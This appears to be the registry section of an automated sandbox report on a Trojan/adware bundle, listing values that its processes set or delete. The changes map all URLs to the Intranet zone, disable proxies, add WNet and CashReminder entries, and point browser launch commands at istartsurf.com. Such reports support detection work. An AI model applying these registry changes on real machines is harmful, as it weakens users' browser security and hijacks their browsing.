The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FF 8F 37 85 C6 95 14 CA B8 75 BE D8 17 97 1C 26"

The process WdsManPro.exe:3040 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 3E F3 A2 CE 98 BE BC 67 00 14 5A 5B DD 80 0A"

The process WdsManPro.exe:3008 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "12 F3 82 94 E5 FF FD A4 F5 F8 68 47 28 18 91 19"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\WdsManPro]
"EventMessageFile" = "%Documents and Settings%\All Users\ApplzF"
"TypesSupported" = "7"

The process lV3vYxkgImpuHrJ:388 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 29 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FB C0 04 EB 5C 26 DF 6C A8 A3 05 F3 78 47 9A 6D"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process SSFK_v2.0.6.26.exe:2980 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 2F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "05 8D 7F A6 09 22 F4 DF 41 08 1A F1 D3 67 5C 19"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_br.exe:1272 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C7 04 DB 07 B0 C8 35 F6 05 9D CD 32 D6 75 C4 3B"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\WNet]
"Version" = "2.1.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WNet]
"Comments" = "The best offers in internet just one click away from you (ID: 6Ru0qiwagrLxGxsTm3iFScdzp93rO)"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WNet]
"DisplayVersion" = "2.1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WNet]
"Publisher" = "BR SOFTWARE"
"DisplayName" = "WNet"
"QuietUninstallString" = "%Program Files%\WNet\uninst.exe"
"UninstallString" = "%Program Files%\WNet\uninst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process CashReminder.exe:2060 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FE 8D 8F 27 C8 4A 11 CF 1A 82 42 BA 76 75 F4 E9"

The process CashReminder.exe:2500 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Services\crfilterdrv]
"Tag" = "13"

[HKLM\SOFTWARE\CashReminder]
"instid" = "GK6PgaQxtY77NwSEI1TmP53kvdGWkCkI"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "0C 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "40 FE DC 69 D4 88 8D 5F EE F4 1F 95 24 AE 8D 14"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process net.exe:2492 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DB EB 5F 22 F3 77 9A 07 96 66 91 96 36 4C 16 73"

The process net.exe:1972 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FF 23 E4 F9 82 87 DA 8D 1E 7A 5C 48 6B 6B 88 12"

The process net.exe:2408 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9A 74 FC 31 4E B5 46 6A E7 32 27 EA 43 48 C6 59"

The process QQBrowser.exe:1956 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.istartsurf.com/?type=sc&ts=1442181046&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayIcon" = "%Documents and Settings%\%current user%\Application Data\istartsurf\UninstallManager.exe"

"DisplayName" = "istartsurf uninstall"
"Publisher" = "istartsurf"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.istartsurf.com/?type=sc&ts=1442181046&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 2C 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 18 7A 42 E6 B3 FF 30 8D 28 A1 F0 3D F3 E2 02"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"UninstallString" = "%Documents and Settings%\%current user%\Application Data\istartsurf\UninstallManager.exe -ptid=pcm"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process QQBrowser.exe:2764 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 2E 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DD 32 A6 1D D7 24 30 A3 32 9A 43 B4 2F CD A3 8B"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\20150914005024\I\tmp]
"wpm_v20.0.0.2301.exe" = "DTools"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\20150914005024\I\tmp]
"SSFK_v2.0.6.26.exe" = "TODO: "

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process ActSys.exe:2332 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5C 63 07 D4 81 AB 1A BD 09 F8 B9 E7 E2 26 A6 92"

The process ActSys.exe:2544 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 05 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

